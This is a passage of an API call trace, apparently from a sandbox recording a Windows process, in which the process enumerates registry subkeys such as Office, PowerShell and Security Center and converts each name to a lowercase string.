dwIndex=0x42, lpName=0x18b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0227.047] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x18b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x18c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0227.047] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x18b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0227.047] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x18b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x18c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0227.047] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x18b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x18c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0227.047] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x18b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0227.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x18c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0227.048] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x18b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x18c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0227.048] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x18b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x18c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0227.048] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x18b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x18c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0227.048] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x18b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x18c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0227.048] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x18b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0227.048] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x18b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x18c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0227.049] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x18b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x18c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0227.049] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x18b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x18c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0227.049] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x18b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0227.049] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x18b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x18c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0227.049] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x18b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0227.049] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x18b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x18c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0227.049] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x18b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x18c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0227.050] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x18b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x18c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0227.050] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x18b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0227.050] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x18b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x18c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0227.050] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x18b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x18c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0227.050] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x18b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x18c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0227.050] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x18b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x18c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0227.051] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x18b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x18c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0227.051] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x18b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x18c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0227.051] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x18b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x18c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0227.051] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x18b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x18c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0227.051] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x18b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x18c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0227.051] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x18b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0227.052] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x18b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x18c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0227.052] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x18b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0227.052] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x18b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x18c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0227.052] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x18b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x18c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0227.052] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x18b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x18c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0227.052] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x18b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x18c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0227.053] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x18b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x18c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0227.053] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x18b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x18c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0227.053] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x18b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0227.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync 